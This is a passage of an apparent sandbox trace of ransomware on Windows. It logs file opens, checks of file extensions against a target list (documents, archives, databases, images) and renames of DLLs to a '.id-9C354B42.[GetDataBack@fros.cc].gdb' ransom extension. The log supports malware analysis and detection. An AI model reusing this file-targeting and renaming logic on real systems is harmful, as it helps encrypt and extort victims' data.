Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.908] lstrlenW (lpString=".doc") returned 4 [0135.908] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.908] lstrlenW (lpString=".docx") returned 5 [0135.908] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.908] lstrlenW (lpString=".pdf") returned 4 [0135.908] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.908] lstrlenW (lpString=".xls") returned 4 [0135.908] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.908] lstrlenW (lpString=".xlsx") returned 5 [0135.908] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.909] lstrlenW (lpString=".ppt") returned 4 [0135.909] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString=".zip") returned 4 [0135.909] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.909] lstrlenW (lpString=".rar") returned 4 [0135.909] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.909] lstrlenW (lpString=".bz2") returned 4 [0135.909] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.909] lstrlenW (lpString=".7z") returned 3 [0135.909] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString=".dbf") returned 4 [0135.909] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString=".1cd") returned 4 [0135.909] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString=".jpg") returned 4 [0135.909] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.909] lstrlenW (lpString=".doc") returned 4 [0135.909] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.909] lstrlenW (lpString=".docx") returned 5 [0135.909] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.909] lstrlenW (lpString=".pdf") returned 4 [0135.909] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.909] lstrlenW (lpString=".xls") returned 4 [0135.909] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.909] lstrlenW (lpString=".xlsx") returned 5 [0135.909] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.910] lstrlenW (lpString=".ppt") returned 4 [0135.910] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.910] lstrlenW (lpString=".zip") returned 4 [0135.910] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.910] lstrlenW (lpString=".rar") returned 4 [0135.910] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.910] lstrlenW (lpString=".bz2") returned 4 [0135.910] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.910] lstrlenW (lpString=".7z") returned 3 [0135.910] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.910] lstrlenW (lpString=".dbf") returned 4 [0135.910] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.910] lstrlenW (lpString=".1cd") returned 4 [0135.910] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0135.910] lstrlenW (lpString=".jpg") returned 4 [0135.910] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.910] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.910] lstrlenW (lpString="TipTsf.dll.mui") returned 14 [0135.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.911] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=3072) returned 1 [0135.911] CloseHandle (hObject=0x22c) returned 1 [0135.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0135.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.912] lstrlenW (lpString=".doc") returned 4 [0135.912] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.912] lstrlenW (lpString=".docx") returned 5 [0135.912] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.912] lstrlenW (lpString=".pdf") returned 4 [0135.912] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.912] lstrlenW (lpString=".xls") returned 4 [0135.912] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.912] lstrlenW (lpString=".xlsx") returned 5 [0135.912] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.912] lstrlenW (lpString=".ppt") returned 4 [0135.912] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.912] lstrlenW (lpString=".zip") returned 4 [0135.912] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.912] lstrlenW (lpString=".rar") returned 4 [0135.912] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.912] lstrlenW (lpString=".bz2") returned 4 [0135.912] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString=".7z") returned 3 [0135.913] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString=".dbf") returned 4 [0135.913] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString=".1cd") returned 4 [0135.913] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString=".jpg") returned 4 [0135.913] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString=".doc") returned 4 [0135.913] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString=".docx") returned 5 [0135.913] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.913] lstrlenW (lpString=".pdf") returned 4 [0135.913] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.913] lstrlenW (lpString=".xls") returned 4 [0135.913] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.913] lstrlenW (lpString=".xlsx") returned 5 [0135.913] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.913] lstrlenW (lpString=".ppt") returned 4 [0135.913] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.913] lstrlenW (lpString=".zip") returned 4 [0135.913] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.913] lstrlenW (lpString=".rar") returned 4 [0135.913] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.913] lstrlenW (lpString=".bz2") returned 4 [0135.913] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.913] lstrlenW (lpString=".7z") returned 3 [0135.913] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.914] lstrlenW (lpString=".dbf") returned 4 [0135.914] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.914] lstrlenW (lpString=".1cd") returned 4 [0135.914] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0135.914] lstrlenW (lpString=".jpg") returned 4 [0135.914] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.914] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.914] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0135.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.915] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=4096) returned 1 [0135.915] CloseHandle (hObject=0x22c) returned 1 [0135.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0135.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString=".doc") returned 4 [0135.916] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.916] lstrlenW (lpString=".docx") returned 5 [0135.916] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.916] lstrlenW (lpString=".pdf") returned 4 [0135.916] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.916] lstrlenW (lpString=".xls") returned 4 [0135.916] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.916] lstrlenW (lpString=".xlsx") returned 5 [0135.916] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.916] lstrlenW (lpString=".ppt") returned 4 [0135.916] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString=".zip") returned 4 [0135.916] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.916] lstrlenW (lpString=".rar") returned 4 [0135.916] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.916] lstrlenW (lpString=".bz2") returned 4 [0135.916] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.916] lstrlenW (lpString=".7z") returned 3 [0135.916] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString=".dbf") returned 4 [0135.916] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString=".1cd") returned 4 [0135.916] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.916] lstrlenW (lpString=".jpg") returned 4 [0135.917] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.917] lstrlenW (lpString=".doc") returned 4 [0135.917] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.917] lstrlenW (lpString=".docx") returned 5 [0135.917] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.917] lstrlenW (lpString=".pdf") returned 4 [0135.917] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.917] lstrlenW (lpString=".xls") returned 4 [0135.917] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.917] lstrlenW (lpString=".xlsx") returned 5 [0135.917] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.917] lstrlenW (lpString=".ppt") returned 4 [0135.917] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.917] lstrlenW (lpString=".zip") returned 4 [0135.917] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.917] lstrlenW (lpString=".rar") returned 4 [0135.917] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.917] lstrlenW (lpString=".bz2") returned 4 [0135.917] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.917] lstrlenW (lpString=".7z") returned 3 [0135.917] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.917] lstrlenW (lpString=".dbf") returned 4 [0135.917] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.917] lstrlenW (lpString=".1cd") returned 4 [0135.917] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0135.918] lstrlenW (lpString=".jpg") returned 4 [0135.918] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.918] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.918] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0135.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0135.919] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=4096) returned 1 [0135.919] CloseHandle (hObject=0x22c) returned 1 [0135.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0135.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0135.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0135.919] lstrlenW (lpString=".doc") returned 4 [0135.919] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.919] lstrlenW (lpString=".docx") returned 5 [0135.919] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.919] lstrlenW (lpString=".pdf") returned 4 [0135.919] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.919] lstrlenW (lpString=".xls") returned 4 [0135.919] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.919] lstrlenW (lpString=".xlsx") returned 5 [0135.919] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.920] lstrlenW (lpString=".ppt") returned 4 [0135.920] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0135.920] lstrlenW (lpString=".zip") returned 4 [0135.920] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.920] lstrlenW (lpString=".rar") returned 4 [0135.920] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.920] lstrlenW (lpString=".bz2") returned 4 [0135.920] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.920] lstrlenW (lpString=".7z") returned 3 [0135.920] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0135.920] lstrlenW (lpString=".dbf") returned 4 [0135.920] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0135.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0135.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0137.636] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.637] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.637] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.637] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.637] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.637] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.637] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.637] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.638] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.638] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.638] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.638] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.638] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.638] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0137.638] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.638] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.638] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.638] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.638] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.638] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.639] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.639] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.639] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.639] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.639] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.639] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.640] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.640] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0137.645] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.645] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.645] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.645] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.645] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.645] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.645] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.645] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.645] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.645] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.645] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.646] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.646] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.646] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.646] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.646] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.646] 